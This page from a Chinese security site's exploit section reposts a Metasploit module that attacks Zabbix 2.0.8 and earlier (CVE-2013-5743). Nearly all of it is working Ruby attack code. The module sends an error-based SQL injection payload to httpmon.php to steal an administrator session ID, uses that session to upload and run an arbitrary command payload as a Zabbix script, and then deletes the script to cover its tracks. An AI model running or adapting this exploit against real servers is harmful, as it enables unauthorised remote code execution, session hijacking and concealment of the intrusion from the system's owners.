首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Zabbix 2.0.8 SQL Injection / Remote Code Execution
来源:metasploit.com 作者:Lincoln 发布时间:2013-10-15  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Zabbix 2.0.8 SQL Injection and Remote Code Execution",
      'Description'    => %q{
        This module exploits an unauthenticated SQL injection vulnerability affecting Zabbix
        versions 2.0.8 and lower.  The SQL injection issue can be abused in order to retrieve an
        active session ID.  If an administrator level user is identified, remote code execution
        can be gained by uploading and executing remote scripts via the 'scripts_exec.php' file.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Lincoln <Lincoln[at]corelan.be>', # Discovery, Original Proof of Concept
          'Jason Kratzer <pyoor[at]corelan.be>' # Metasploit Module
        ],
      'References'     =>
        [
          ['CVE', '2013-5743'],
          ['URL', 'https://support.zabbix.com/browse/ZBX-7091']
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['Zabbix version <= 2.0.8', {}]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 255,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl python'
            }
        },
      'DisclosureDate' => "Sep 23 2013",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The URI of the vulnerable Zabbix instance', '/zabbix'])
        ], self.class)
  end

  def uri
    return target_uri.path
  end

  def check
    # Check version
    print_status("#{peer} - Trying to detect installed version")

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, "httpmon.php")
    })

    if res and res.code == 200 and res.body =~ /(STATUS OF WEB MONITORING)/ and res.body =~ /(?<=Zabbix )(.*)(?= Copyright)/
      version = $1
      print_status("#{peer} - Zabbix version #{version} detected")
    else
      # If this fails, guest access may not be enabled
      print_status("#{peer} - Unable to access httpmon.php")
      return Exploit::CheckCode::Unknown
    end

    if version and version <= "2.0.8"
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def get_session_id
    # Generate random string and convert to hex
    sqlq = rand_text_alpha(8)
    sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join
    sqli = "2 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST"
    sqli << "(sessionid AS CHAR),0x20)),1,50) FROM zabbix.sessions WHERE status=0 and userid=1 "
    sqli << "LIMIT 0,1),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"

    # Extract session id from database
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri("#{uri}", "httpmon.php"),
      'vars_get' => {
        "applications" => sqli
      }
    })

    if res && res.code == 200 and res.body =~ /(?<=#{sqlq})(.*)(?=#{sqlq})/
      session = $1
      print_status("#{peer} - Extracted session cookie - [ #{session} ]")
      return session
    else
      fail_with(Failure::Unknown, "#{peer} - Unable to extract a valid session")
    end
  end

  def exploit
    # Retrieve valid session id
    @session = get_session_id
    @sid = "#{@session[16..-1]}"
    script_name = rand_text_alpha(8)
    # Upload script
    print_status("#{peer} - Attempting to inject payload")
    res = send_request_cgi({
      'method' => 'POST',
      'cookie' => "zbx_sessionid=#{@session}",
      'uri'    => normalize_uri(uri, "scripts.php"),
      'vars_post' => {
        'sid' => @sid,
        'form' => 'Create+script',
        'name' => script_name,
        'type' => '0',
        'execute_on' => '1',
        'command' => payload.encoded,
        'commandipmi' => '',
        'description' => '',
        'usrgrpid' => '0',
        'groupid' => '0',
        'access' => '2',
        'save' => 'Save'
      }
    })

    if res and res.code == 200 and res.body =~ /(Script added)/
      print_status("#{peer} - Payload injected successfully")
    else
      fail_with(Failure::Unknown, "#{peer} - Payload injection failed!")
    end

    # Extract 'scriptid' value
    @scriptid = /(?<=scriptid=)(\d+)(?=&sid=#{@sid}">#{script_name})/.match(res.body)

    # Trigger Payload
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri("#{uri}", "scripts_exec.php"),
      'cookie' => "zbx_sessionid=#{@session}",
      'vars_get' => {
        "execute" =>1,
        "scriptid" => @scriptid,
        "sid" => @sid,
        "hostid" => "10084"
      }
    })
  end

  def cleanup
    post_data = "sid=#{@sid}&form_refresh=1&scripts[#{@scriptid}]=#{@scriptid}&go=delete&goButton=Go (1)"
    print_status("#{peer} - Cleaning script remnants")
    res = send_request_cgi({
     'method' => 'POST',
      'data'   => post_data,
      'cookie' => "zbx_sessionid=#{@session}",
      'uri'    => normalize_uri(uri, "scripts.php")
    })

    if res and res.code == 200 and res.body =~ /(Script deleted)/
      print_status("#{peer} - Script removed successfully")
    else
      print_warning("#{peer} - Unable to remove script #{@scriptid}")
    end
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·HP Data Protector Cell Request
·PDFCool Studio Buffer Overflow
·MS13-080 Microsoft Internet Ex
·Aladdin Knowledge Systems Ltd.
·Android Zygote Socket Vulnerab
·Persistent Payload In Windows
·Beetel Connection Manager SEH
·Level One Enterprise Access Po
·VMware Hyperic HQ Groovy Scrip
·SikaBoom - Remote Buffer Overf
·Indusoft Thin Client 7.1 Activ
·ARRIS DG860A NVRAM Backup Comp
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved